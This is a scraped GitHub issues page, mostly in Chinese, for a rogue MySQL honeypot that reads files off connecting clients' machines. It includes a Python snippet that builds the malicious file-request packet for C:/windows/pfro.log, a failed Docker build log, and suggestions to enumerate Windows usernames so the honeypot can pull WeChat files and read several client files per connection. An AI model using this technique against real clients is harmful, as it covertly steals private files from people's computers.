qigpig / mysqlhoneypot Goto Github PK

读取大文件解决思路：
发送访问文件的请求后，建立一个while循环，一直读取数据并且将每次读取的数据保存到变量或文件中，直到读取到的信息为空。

filename='C:/windows/pfro.log'
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
conn.sendall('asdfsadfsadfsa') #随便发送的数据，为了让recv接收到空数据以退出循环，如果不发送会导致recv阻塞
content = 'asdfasdf' #初始进入循环
while len(content) !=0 :
    content=conn.recv(9999999)
    text = text + content
print text #这时的text是完整的数据

防火墙全关了

测试发现 读取PFRO.log文件，只会读取到这里。如果从win7上把该文件前几行删除，则可读取剩余内容。

在Linux docker中搭建后无法读取到客户端的文件，请教这种是啥问题导致的？我使用python2运行main.py会报错，使用python3则能正常运行和监听端口，但是无法读取到相应的文件。

docker-compose up -d
[+] Building 138.1s (8/8) FINISHED docker:default
=> [web internal] load build definition from Dockerfile 0.1s
=> => transferring dockerfile: 195B 0.0s
=> [web internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [web internal] load metadata for docker.io/qzkc/python2.7:v2 16.1s
=> [web internal] load build context 0.0s
=> => transferring context: 671.25kB 0.0s
=> [web 1/4] FROM docker.io/qzkc/python2.7:v2@sha256:aded04c80df6db49e939d74d1dd89e6c270038f2ca041ea380ebd139f2849370 21.2s
=> => resolve docker.io/qzkc/python2.7:v2@sha256:aded04c80df6db49e939d74d1dd89e6c270038f2ca041ea380ebd139f2849370 0.0s
=> => sha256:b7354d80806adb338049108453f8638a0f2a1db9c2e840bef7e40aface40929c 3.59kB / 3.59kB 0.0s
=> => sha256:618699ec6cd5d8b1f623ca84148ca09c3951ca9fbb4c58a893e60c1281ddc00c 3.40MB / 3.40MB 1.1s
=> => sha256:aded04c80df6db49e939d74d1dd89e6c270038f2ca041ea380ebd139f2849370 1.79kB / 1.79kB 0.0s
=> => sha256:638b75f800bffbc01324705aed0754a00532dd051b57198af824d5e13ffb140b 61.58MB / 61.58MB 13.8s
=> => sha256:c2b55cf1d99d32987a8fb4b8883d1cf44c0f2fd596cfccb63ab8a1ca392fd9dc 93B / 93B 1.1s
=> => sha256:60a0793c63a4d74ab08d501653ac44b28ddbb027c64d20ed1b294a2b9bd1a61a 58.07MB / 58.07MB 12.7s
=> => sha256:7cc0a306513dee02a1367b37f5dd074a4f6005d246d0b29710821c06e6452a99 16.66MB / 16.66MB 7.3s
=> => sha256:b7ade8636cce227b2c4395d9e71daf586054e87aebf7fe9916a57f771b77ddfb 1.88MB / 1.88MB 8.3s
=> => sha256:4c15d35f3ec49800e53a29780dfb15efa585aa6cd8b3d71619187650e4a18f4f 1.06MB / 1.06MB 9.1s
=> => extracting sha256:638b75f800bffbc01324705aed0754a00532dd051b57198af824d5e13ffb140b 3.6s
=> => extracting sha256:c2b55cf1d99d32987a8fb4b8883d1cf44c0f2fd596cfccb63ab8a1ca392fd9dc 0.0s
=> => extracting sha256:618699ec6cd5d8b1f623ca84148ca09c3951ca9fbb4c58a893e60c1281ddc00c 0.2s
=> => extracting sha256:60a0793c63a4d74ab08d501653ac44b28ddbb027c64d20ed1b294a2b9bd1a61a 2.1s
=> => extracting sha256:7cc0a306513dee02a1367b37f5dd074a4f6005d246d0b29710821c06e6452a99 0.7s
=> => extracting sha256:b7ade8636cce227b2c4395d9e71daf586054e87aebf7fe9916a57f771b77ddfb 0.1s
=> => extracting sha256:4c15d35f3ec49800e53a29780dfb15efa585aa6cd8b3d71619187650e4a18f4f 0.1s
=> [web 2/4] COPY ./ /mysqlhoneypot/ 0.4s
=> [web 3/4] WORKDIR /mysqlhoneypot 0.0s
=> ERROR [web 4/4] RUN pip install flask && pip install Flask-HTTPAuth 100.2s

[web 4/4] RUN pip install flask && pip install Flask-HTTPAuth:
0.678 WARNING: Running pip install with root privileges is generally not a good idea. Try pip install --user instead.
0.691 Requirement already satisfied: flask in /usr/lib64/python2.7/site-packages
0.702 Requirement already satisfied: Werkzeug>=0.14 in /usr/lib/python2.7/site-packages (from flask)
0.708 Requirement already satisfied: click>=5.1 in /usr/lib64/python2.7/site-packages (from flask)
0.709 Requirement already satisfied: itsdangerous>=0.24 in /usr/lib/python2.7/site-packages (from flask)
0.711 Requirement already satisfied: Jinja2>=2.10 in /usr/lib/python2.7/site-packages (from flask)
0.714 Requirement already satisfied: MarkupSafe>=0.23 in /usr/lib64/python2.7/site-packages (from Jinja2>=2.10->flask)
0.960 WARNING: Running pip install with root privileges is generally not a good idea. Try pip install --user instead.
1.004 Collecting Flask-HTTPAuth
9.360 Downloading https://files.pythonhosted.org/packages/22/21/0160aa217c4df74e44a04919213f9c8af7e68551c10267b055f1e09d421c/Flask-HTTPAuth-4.8.0.tar.gz (230kB)
99.92 Requirement already satisfied: flask in /usr/lib64/python2.7/site-packages (from Flask-HTTPAuth)
99.94 Requirement already satisfied: Werkzeug>=0.14 in /usr/lib/python2.7/site-packages (from flask->Flask-HTTPAuth)
99.94 Requirement already satisfied: click>=5.1 in /usr/lib64/python2.7/site-packages (from flask->Flask-HTTPAuth)
99.94 Requirement already satisfied: itsdangerous>=0.24 in /usr/lib/python2.7/site-packages (from flask->Flask-HTTPAuth)
99.94 Requirement already satisfied: Jinja2>=2.10 in /usr/lib/python2.7/site-packages (from flask->Flask-HTTPAuth)
99.95 Requirement already satisfied: MarkupSafe>=0.23 in /usr/lib64/python2.7/site-packages (from Jinja2>=2.10->flask->Flask-HTTPAuth)
99.95 Installing collected packages: Flask-HTTPAuth
99.95 Running setup.py install for Flask-HTTPAuth: started
100.1 Running setup.py install for Flask-HTTPAuth: finished with status 'error'
100.1 Complete output from command /usr/bin/python2 -u -c "import setuptools, tokenize;file='/tmp/pip-build-Fcufer/Flask-HTTPAuth/setup.py';f=getattr(tokenize, 'open', open)(file);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, file, 'exec'))" install --record /tmp/pip-2wK7i0-record/install-record.txt --single-version-externally-managed --compile:
100.1 running install
100.1 running build
100.1 running build_py
100.1 creating build
100.1 creating build/lib
100.1 copying src/flask_httpauth.py -> build/lib
100.1 running egg_info
100.1 error: 'egg_base' must be a directory name (got src)
100.1
100.1 ----------------------------------------
100.1 Command "/usr/bin/python2 -u -c "import setuptools, tokenize;file='/tmp/pip-build-Fcufer/Flask-HTTPAuth/setup.py';f=getattr(tokenize, 'open', open)(file);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, file, 'exec'))" install --record /tmp/pip-2wK7i0-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-Fcufer/Flask-HTTPAuth/

failed to solve: executor failed running [/bin/sh -c pip install flask && pip install Flask-HTTPAuth]: exit code: 1

1、PFRO.log中如果有多个用户名，读取的是第一个用户名，但是安装微信等路径的可能是其他的用户名安装的，导致读取不到文件。
如以下日志，wechat安装在coco用户下，但是脚本去访问Administrator去了。建议跑个循环，把所有用户名都读取一遍

1/29/2019 14:16:58 - PFRO Error: ??\C:\Users\Administrator\AppData\Local\Microsoft
1/29/2019 14:50:45 - PFRO Error: ??\C:\Users\ADMINI~1\AppData\Local\Temp
3/17/2019 15:30:38 - PFRO Error: ??\C:\Users\cocosec\AppData\

2、每次连接mysql后，脚本只能读取一次客户端文件，建议跑循环，一次读取客户端多个文件